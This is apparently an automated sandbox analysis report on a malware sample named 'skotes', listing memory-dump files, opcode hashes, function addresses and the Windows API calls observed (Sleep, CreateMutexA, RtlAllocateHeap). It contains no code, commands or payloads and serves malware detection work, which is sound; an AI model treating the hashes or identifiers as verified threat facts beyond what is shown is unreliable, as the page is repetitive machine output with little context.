Associated: 00000002.00000002.1783738588.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783764751.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783787888.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783814321.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783837074.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5e8fd5af2674cd71e46211a01d43fc9fab05b2f6225c27dd048dd9884f9f5818
Instruction ID: fc224b7b6acadafa0f5734deadc483ef6fe00803cdeb2cc0bcd63f6ff186449d
Opcode Fuzzy Hash: 5e8fd5af2674cd71e46211a01d43fc9fab05b2f6225c27dd048dd9884f9f5818
Instruction Fuzzy Hash: 3C312A316041049BEB48DB78DCC5B6DBBE2EBC6324F24C2A9E02CD72D1D7359980C752

Function 00B79ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1782494384.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782523187.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782617876.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782639343.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782660147.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782682518.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782703230.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782800896.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782823431.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782858566.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782880915.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782957213.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782980924.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783015660.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783039880.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783069304.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783090791.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783115125.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783143886.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783167634.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783191465.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783265769.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783293021.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783317671.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783340016.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783363276.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783389321.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783412208.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783434522.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783457284.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783484026.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783507403.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783530009.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783555831.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783645404.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783668079.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783692746.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783716826.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783738588.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783764751.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783787888.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783814321.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783837074.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ece0d7db82ec32404eac33ad6236bd8c717497f80decb6fa61b04d65a0058f3e
Instruction ID: e6ae55fa3529e898a326fe6ca11fbe41a996a243f377016bcc161e6d525116d6
Opcode Fuzzy Hash: ece0d7db82ec32404eac33ad6236bd8c717497f80decb6fa61b04d65a0058f3e
Instruction Fuzzy Hash: F7213E317042049BEB189B68ECC576CF7E2EBC5310F2482A9E56CD73E5DB759990C712

Function 00B7A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1782494384.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782523187.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782617876.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782639343.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782660147.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782682518.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782703230.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782800896.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782823431.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782858566.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782880915.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782957213.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782980924.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783015660.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783039880.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783069304.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783090791.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783115125.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783143886.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783167634.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783191465.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783265769.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783293021.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783317671.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783340016.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783363276.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783389321.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783412208.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783434522.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783457284.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783484026.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783507403.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783530009.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783555831.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783645404.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783668079.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783692746.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783716826.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783738588.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783764751.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783787888.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783814321.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783837074.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c5b40520508a9bfd79ebcafa22daa4a71e3ab165d496203401813604f6ba040b
Instruction ID: d3eafa6c64f0e539074e87bda34f264319536bdaf19d878ed5732e1a48992535
Opcode Fuzzy Hash: c5b40520508a9bfd79ebcafa22daa4a71e3ab165d496203401813604f6ba040b
Instruction Fuzzy Hash: 54216A7124C201CBEB6467789C96B2DB7D2DFC1300F2488EAE16CD62D2DE7688808253

Function 00B7A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1782494384.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782523187.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782617876.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782639343.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782660147.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782682518.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782703230.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782800896.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782823431.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782858566.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782880915.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782957213.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782980924.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783015660.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783039880.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783069304.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783090791.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783115125.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783143886.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783167634.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783191465.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783265769.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783293021.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783317671.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783340016.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783363276.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783389321.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783412208.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783434522.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783457284.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783484026.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783507403.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783530009.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783555831.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783645404.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783668079.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783692746.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783716826.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783738588.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783764751.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783787888.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783814321.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783837074.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2d1231b4b6081575cc3324fb9e3f47f7a44eb850913a87332606ca27a20a768f
Instruction ID: 25f3144f3562634f800e0d3034c2eca84d8fa10fcb798dc1e7a68aa7ac35c93f
Opcode Fuzzy Hash: 2d1231b4b6081575cc3324fb9e3f47f7a44eb850913a87332606ca27a20a768f
Instruction Fuzzy Hash: 12214C316042049BEB18AF68DC8576CF7E2EBD6310F2482A9E42CD77D1D7759580C752

Function 00BAD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00BAA813,00000001,00000364,00000006,000000FF,?,00BAEE3F,?,00000004,00000000,?,?), ref: 00BAD871

Memory Dump Source

Source File: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1782494384.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782523187.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782617876.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782639343.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782660147.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782682518.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782703230.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782800896.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782823431.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782858566.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782880915.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782957213.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782980924.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783015660.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783039880.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783069304.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783090791.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783115125.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783143886.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783167634.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783191465.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783265769.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783293021.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783317671.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783340016.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783363276.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783389321.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783412208.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783434522.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783457284.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783484026.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783507403.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783530009.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783555831.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783645404.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783668079.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783692746.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783716826.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783738588.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783764751.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783787888.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783814321.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783837074.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: af97831d3725c05cdad66412e28b4716725d03354037a7cbf5df8536c337199d
Instruction ID: e970bf32d98f232dafea7469c56d6524ceb09d404033ea1a652fdae6a907c275
Opcode Fuzzy Hash: af97831d3725c05cdad66412e28b4716725d03354037a7cbf5df8536c337199d
Instruction Fuzzy Hash: F3F02E3164D12466DB213B729C01A5B77D9DF47370B1480E1EC0697981DF38DC0081E0

Non-executed Functions

Function 00BACBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BACC66

Memory Dump Source

Source File: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1782494384.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782523187.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782617876.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782639343.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782660147.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782682518.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782703230.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782800896.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782823431.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782858566.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782880915.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782957213.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782980924.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783015660.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783039880.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783069304.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783090791.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783115125.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783143886.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783167634.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783191465.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783265769.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783293021.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783317671.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783340016.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783363276.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783389321.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783412208.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783434522.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783457284.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783484026.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783507403.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783530009.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783555831.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783645404.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783668079.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783692746.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783716826.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783738588.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783764751.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783787888.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783814321.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783837074.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

